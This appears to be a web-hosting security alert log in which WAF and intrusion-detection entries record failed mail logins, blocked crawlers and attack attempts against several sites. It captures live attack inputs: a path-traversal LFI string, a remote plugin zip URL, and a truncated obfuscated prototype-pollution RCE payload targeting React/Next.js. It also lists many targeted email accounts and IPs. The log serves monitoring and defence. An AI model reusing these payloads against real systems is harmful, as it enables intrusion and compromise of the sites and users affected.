2026-07-12 01:42:30 dovecot_login authenticator failed for H=([98.170.57.236]) [194.31.220.229]:46075: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.200.184
country_id: 660013
description:
2026-07-12 01:43:10 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc8-184.dhcp.inet.fi ([174.75.211.203]) [80.223.200.184]:47452: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.54.165.138
country_id: 3686110
description:
2026-07-12 01:43:22 dovecot_login authenticator failed for H=([183.196.144.45]) [181.54.165.138]:35930: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 43.153.46.64
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:plugin||MV:https://raw.githubusercontent.com/pg2523461-wq/wp/refs/heads/main/vvv.zip||User:metrodigitals||SC:/home/metrodigitals/public_html/wp-json||WPU:||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.207.93
country_id: 1269750
description:
2026-07-12 01:47:21 dovecot_login authenticator failed for H=([192.252.208.66]) [122.169.207.93]:3828: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.167.50.229
country_id: 1835841
description:
2026-07-12 01:47:41 dovecot_login authenticator failed for H=(nsg-corporate-113.177.186.122.airtel.in) [221.167.50.229]:47086: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.196.213.196
country_id: 1835841
description:
2026-07-12 01:53:26 dovecot_login authenticator failed for H=([49.124.148.187]) [119.196.213.196]:42488: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-12 01:53:09 dovecot_login authenticator failed for H=([222.120.63.29]) [210.5.117.238]:64326: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 134.228.32.191
country_id: 6252001
description:
2026-07-12 02:00:20 dovecot_plain authenticator failed for H=cm-134-228-32-191.buckeyecom.net (schring) [134.228.32.191]:57516: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.134
country_id: 1269750
description:
2026-07-12 02:00:50 dovecot_login authenticator failed for H=([98.178.72.4]) [59.145.160.134]:33538: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.181.5.124
country_id: 1269750
description:
2026-07-12 02:01:29 dovecot_login authenticator failed for H=([49.124.151.22]) [103.181.5.124]:58939: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.43.161
country_id: 337996
description:
2026-07-12 02:01:15 dovecot_login authenticator failed for H=([49.125.201.67]) [196.190.43.161]:54328: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://kanechan.sakura.ne.jp/bbs/zatsudan/zatsudan2.cgi\">\xe2\x80\x9cVi\xe1\xbb\x87n Eakmat \xc4\x90\xe1\xba\xafk L\xe1\xba\xafk\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.138
country_id: 1269750
description:
2026-07-12 02:05:47 dovecot_login authenticator failed for H=([49.124.151.10]) [182.95.181.138]:58502: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.80.69.106
country_id: 6252001
description:
2026-07-12 02:06:05 dovecot_login authenticator failed for H=syn-075-080-069-106.biz.spectrum.com ([192.111.129.146]) [75.80.69.106]:42999: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.88.25
country_id: 1269750
description:
2026-07-12 02:06:17 dovecot_login authenticator failed for H=([70.166.167.42]) [202.62.88.25]:39986: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.191.211.33
country_id: 6252001
description:
2026-07-12 02:06:12 dovecot_login authenticator failed for H=([65.20.179.251]) [65.191.211.33]:33894: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 103.47.134.108
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.28||T:APACHE||SC:/home/alnay/public_html/index.php||User:alnay||WPU:||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 156.230.182.136
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:111170||Sizes:97||Combined size:97||User:alnay||WPU:||Filename:majestic_iOrAeXLmBt.php||Scanned:/tmp//20260712-021030-alKqPrleXZi_1xI4yB-MlQAAAMU-file-7yCTs9||SC:/home/alnay/public_html/index.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 103.47.134.108
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:187545||Sizes:97||Combined size:97||User:alnay||WPU:||Filename:majestic_iOrAeXLmBt.php||Scanned:/tmp//20260712-021028-alKqPLOlZrM1QxggswfpNQAAAE8-file-Mnd8Lf||SC:/home/alnay/public_html/index.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77318022
name: IM360 WAF: Old style account creation and modification in Joomla!
abuser: 95.216.68.244
country_id: 660013
domain: cochinbigbandshow.com
description:
IM360 WAF: Old style account creation and modification in Joomla!||MVN:REQUEST_FILENAME||MV:/component/users/||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 95.216.68.244
country_id: 660013
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33321||MV:02-19.95.216.68.244||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77789665
abuser: 152.233.20.149
country_id: 2921044
domain: kallanigroup.com
description:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:data[layoutName]||MV:../../../tmp/994woawh.php.json||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 83.97.118.250
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://meneercasino.com/slot-reviews/tigers-glory\">lybrido tablet online shopping</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 88.216.97.3
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/keonthemes.com||User:ahsmarine||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.12.42.216
country_id: 6252001
description:
2026-07-12 02:38:33 dovecot_login authenticator failed for H=([192.252.216.83]) [71.12.42.216]:41044: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"x_cc3710a2\":null,\"status\":\"resolved_model\",\"ns_81e7fd8e\":-1,\"$9b926ce9\":\"pending\",\"__a98d30e5\":\"371cdbc886e11a85\",\"reason\":-1,\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var werx=arguments['\\\\x31'];var untz=werx;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.73.124.201
country_id: 6251999
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/sitemap366.xml HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-12 02:45:30 dovecot_login authenticator failed for H=(karuna.divineled.com) [94.16.17.139]:36212: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-12 02:48:52 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([67.201.38.131]) [64.207.225.55]:52088: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.122
country_id: 1269750
description:
2026-07-12 02:49:36 dovecot_login authenticator failed for H=([61.184.128.210]) [128.185.253.122]:35560: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.53
country_id: 1668284
description:
2026-07-12 02:51:10 dovecot_login authenticator failed for H=110-25-109-53.adsl.fetnet.net ([192.111.134.12]) [110.25.109.53]:50755: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.251.149.81
country_id: 6252001
description:
2026-07-12 02:51:15 dovecot_login authenticator failed for H=64-251-149-81.fidnet.com (wsip-184-178-172-12.rn.hr.cox.net) [64.251.149.81]:54854: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.218.50
country_id: 1269750
description:
2026-07-12 02:57:47 dovecot_login authenticator failed for H=([183.196.144.45]) [125.19.218.50]:53202: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.30.11.253
country_id: 6252001
description:
2026-07-12 02:58:28 dovecot_login authenticator failed for H=([193.31.200.85]) [23.30.11.253]:37431: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.128.181.196
country_id: 357994
description:
2026-07-12 02:59:01 dovecot_login authenticator failed for H=(125-227-240-43.hinet-ip.hinet.net) [41.128.181.196]:44896: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.53.55.252
country_id: 1605651
description:
2026-07-12 02:58:54 dovecot_login authenticator failed for H=([111.26.63.86]) [182.53.55.252]:59974: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.166
country_id: 1269750
description:
2026-07-12 02:59:17 dovecot_login authenticator failed for H=([115.94.121.82]) [182.95.181.166]:54644: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.200.249.128
country_id: 2077456
description:
2026-07-12 02:59:56 dovecot_login authenticator failed for H=14-200-249-128.tpgi.com.au ([220.122.115.9]) [14.200.249.128]:52903: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.255.189.50
country_id: 298795
description:
2026-07-12 03:00:39 dovecot_login authenticator failed for H=([111.26.177.215]) [88.255.189.50]:43024: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.252.36.117
country_id: 1562822
description:
2026-07-12 03:01:07 dovecot_login authenticator failed for H=([36.42.67.114]) [222.252.36.117]:40285: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.129.18
country_id: 2077456
description:
2026-07-12 03:02:49 dovecot_login authenticator failed for H=202-62-129-18.ip.vocus.network ([68.71.253.70]) [202.62.129.18]:65474: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.30.11.253
country_id: 6252001
description:
2026-07-12 03:03:45 dovecot_login authenticator failed for H=(201-234-106-215.static.impsat.net.ar) [23.30.11.253]:56007: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://mobile-seo.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.54.165.138
country_id: 3686110
description:
2026-07-12 03:09:36 dovecot_login authenticator failed for H=([112.165.212.135]) [181.54.165.138]:36950: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.30.11.253
country_id: 6252001
description:
2026-07-12 03:09:52 dovecot_login authenticator failed for H=(201-234-106-215.static.impsat.net.ar) [23.30.11.253]:54668: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.103.250.78
country_id: 3686110
domain: globalgroupoman.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/globalgroupoman.com/ HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-12 03:13:08 dovecot_login authenticator failed for H=([60.166.8.174]) [182.95.101.182]:33852: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.237.155.150
country_id: 1835841
description:
2026-07-12 03:13:55 dovecot_login authenticator failed for H=(ipmapt-72-195-114-171.oc.oc.cox.net) [1.237.155.150]:47916: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.39
country_id: 1668284
description:
2026-07-12 03:14:56 dovecot_login authenticator failed for H=([220.122.115.9]) [101.13.5.39]:33676: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.103.36.176
country_id: 1819730
description:
2026-07-12 03:15:53 dovecot_login authenticator failed for H=176.36.103.218.static.netvigator.com ([49.124.151.71]) [218.103.36.176]:62651: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.137.237.22
country_id: 3625428
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/sitemap541.xml HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.56.28.18
country_id: 1168579
description:
2026-07-12 03:23:35 dovecot_login authenticator failed for H=(64-251-149-81.fidnet.com) [210.56.28.18]:36461: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.63.34.149
country_id: 1835841
description:
2026-07-12 03:23:11 dovecot_login authenticator failed for H=(nsg-corporate-12.229.187.122.airtel.in) [211.63.34.149]:53690: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 163.5.220.127
country_id: 458258
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/images/2024/10/24/htp-26.jpeg HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-12 03:27:42 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.41
country_id: 99237
description:
2026-07-12 03:30:01 dovecot_login authenticator failed for H=(mx-ll-223.206.73-179.dynamic.3bb.in.th) [65.20.204.41]:47035: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.181.38
country_id: 2661886
description:
2026-07-12 03:37:07 dovecot_login authenticator failed for H=c-83-226-181-38.bbcust.telenor.se (37-128-240-47.dynamic.customer.lanta-me.ru) [83.226.181.38]:43006: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.195.9.20
country_id: 2661886
description:
2026-07-12 03:30:23 dovecot_login authenticator failed for H=user20.85-195-9.netatonce.net (201-91-153-121.customer.tdatabrasil.net.br) [85.195.9.20]:54080: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.241.64.237
country_id: 1835841
description:
2026-07-12 03:36:56 dovecot_login authenticator failed for H=(49.206.194.29.actcorp.in) [1.241.64.237]:43594: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.166
country_id: 1269750
description:
2026-07-12 03:38:11 dovecot_login authenticator failed for H=(wsip-184-178-172-24.rn.hr.cox.net) [182.95.181.166]:49366: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.88
country_id: 1668284
description:
2026-07-12 03:36:29 dovecot_login authenticator failed for H=([49.124.153.29]) [101.13.5.88]:53858: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.179
country_id: 1668284
description:
2026-07-12 03:36:42 dovecot_login authenticator failed for H=111-70-32-179.emome-ip.hinet.net ([111.42.175.101]) [111.70.32.179]:32907: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.25.159.170
country_id: 2661886
description:
2026-07-12 03:36:07 dovecot_login authenticator failed for H=81-25-159-170.junet.se ([87.225.108.138]) [81.25.159.170]:47086: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.248.19.102
country_id: 1269750
description:
2026-07-12 03:41:40 dovecot_login authenticator failed for H=(the-caper-b.bar3.tampa1.level3.net) [218.248.19.102]:36894: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.31.200.85
country_id: 1522867
description:
2026-07-12 03:42:26 dovecot_login authenticator failed for H=(ool-44c7fcb3.dyn.optonline.net) [193.31.200.85]:58858: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.110.136
country_id: 1668284
description:
2026-07-12 03:42:37 dovecot_login authenticator failed for H=110-25-110-136.adsl.fetnet.net ([112.94.5.43]) [110.25.110.136]:53622: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 156.230.182.136
country_id: 1643084
domain: fefkadirectorsunion.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.28||T:APACHE||SC:/home/fefkadirectors/public_html/index.php||User:fefkadirectors||WPU:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.250
country_id: 1269750
description:
2026-07-12 03:43:03 dovecot_login authenticator failed for H=([182.74.216.124]) [122.187.230.250]:57896: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.55.242
country_id: 1269750
description:
2026-07-12 03:58:20 dovecot_login authenticator failed for H=(wsip-64-207-241-177.tu.ok.cox.net) [103.171.55.242]:37470: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.57.39.170
country_id: 6252001
description:
2026-07-12 03:43:58 dovecot_login authenticator failed for H=(111-211-96-66.myrepublic.com.sg) [184.57.39.170]:51304: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 87.71.163.128
country_id: 294640
domain: globalgroupoman.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/globalgroupoman.com/assets/client/GR-68.jpg HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 192.155.93.204
country_id: 6252001
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/nice ports,/Trinity.txt.bak||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.117.155.41
country_id: 1269750
description:
2026-07-12 04:15:00 dovecot_login authenticator failed for H=([111.17.213.162]) [103.117.155.41]:45608: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-12 05:12:58 dovecot_login authenticator failed for H=([174.64.199.87]) [197.219.208.58]:55374: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 23.161.169.127
country_id: 2635167
domain: sriganapathyent.in
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:23.161.169.127||TA:23.161.169.127||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.176.254.53
country_id: 6252001
description:
2026-07-12 04:05:32 dovecot_login authenticator failed for H=([178.178.222.59]) [24.176.254.53]:57664: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.0.154.194
country_id: 3175395
description:
2026-07-12 04:08:00 dovecot_login authenticator failed for H=151-0-154-194.ip281.fastwebnet.it (centavo.ddsfma.uz) [151.0.154.194]:29975: 535 Incorrect authentication data (set_id=pan@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.218.109.180
country_id: 1668284
description:
2026-07-12 04:20:12 dovecot_login authenticator failed for H=([142.54.229.253]) [180.218.109.180]:49954: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.191.211.33
country_id: 6252001
description:
2026-07-12 04:31:39 dovecot_login authenticator failed for H=(164-53-26-103.intechonline.net) [65.191.211.33]:41436: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.198.42
country_id: 1269750
description:
2026-07-12 05:10:58 dovecot_login authenticator failed for H=([45.118.49.18]) [152.52.198.42]:56228: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.9.111
country_id: 298795
description:
2026-07-12 04:00:07 dovecot_login authenticator failed for H=([223.100.224.75]) [78.187.9.111]:51458: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.194.29
country_id: 1269750
description:
2026-07-12 04:35:16 dovecot_login authenticator failed for H=([110.77.150.25]) [49.206.194.29]:53184: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.215.90
country_id: 1269750
description:
2026-07-12 05:08:44 dovecot_login authenticator failed for H=(ip-104-200-152-25.hosts.zerolag.com) [110.227.215.90]:34339: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.34.164.13
country_id: 6252001
description:
2026-07-12 04:04:48 dovecot_login authenticator failed for H=([188.168.86.6]) [192.34.164.13]:26105: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.168.26
country_id: 2661886
description:
2026-07-12 04:09:00 dovecot_login authenticator failed for H=90-230-168-26-no600.tbcn.telia.com ([109.207.33.248]) [90.230.168.26]:47432: 535 Incorrect authentication data (set_id=pan@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.245.246.26
country_id: 1835841
description:
2026-07-12 04:08:47 dovecot_login authenticator failed for H=(cyrela.static.gvt.net.br) [106.245.246.26]:36979: 535 Incorrect authentication data (set_id=pan@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.147.248.23
country_id: 1269750
description:
2026-07-12 04:15:03 dovecot_login authenticator failed for H=(nsg-static-82.71.76.182-airtel.com) [103.147.248.23]:41758: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.113.110
country_id: 226074
description:
2026-07-12 04:08:30 dovecot_login authenticator failed for H=([183.167.217.86]) [196.0.113.110]:39626: 535 Incorrect authentication data (set_id=pan@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.91.46.151
country_id: 6252001
description:
2026-07-12 04:07:35 dovecot_login authenticator failed for H=([1.240.101.2]) [173.91.46.151]:43207: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.255.209.245
country_id: 2661886
description:
2026-07-12 04:15:19 dovecot_login authenticator failed for H=c83-255-209-245.bredband.tele2.se ([125.21.218.193]) [83.255.209.245]:50930: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 62.192.110.122
country_id: 1819730
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/images/2023/10/04/vineeth_sreenivasan_0-150x150.jpg HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.196.213.196
country_id: 1835841
description:
2026-07-12 03:59:00 dovecot_login authenticator failed for H=([162.253.68.102]) [119.196.213.196]:54384: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.132.64.89
country_id: 2921044
description:
2026-07-12 04:26:42 dovecot_login authenticator failed for H=([49.124.152.232]) [212.132.64.89]:34494: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.35.187
country_id: 1835841
description:
2026-07-12 03:59:38 dovecot_login authenticator failed for H=(186-103-136-43.static.tie.cl) [182.31.35.187]:40649: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.211.7.162
country_id: 2215636
description:
2026-07-12 05:09:13 dovecot_login authenticator failed for H=(vm-creative-db01.madavor.cl.zerolag.com) [102.211.7.162]:36452: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.119.52.56
country_id: 6252001
description:
2026-07-12 04:14:46 dovecot_login authenticator failed for H=24-119-52-56.cpe.sparklight.net (azteca-comunicaciones.com) [24.119.52.56]:47826: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.129.81.12
country_id: 2260494
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/home-theater-solutions HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
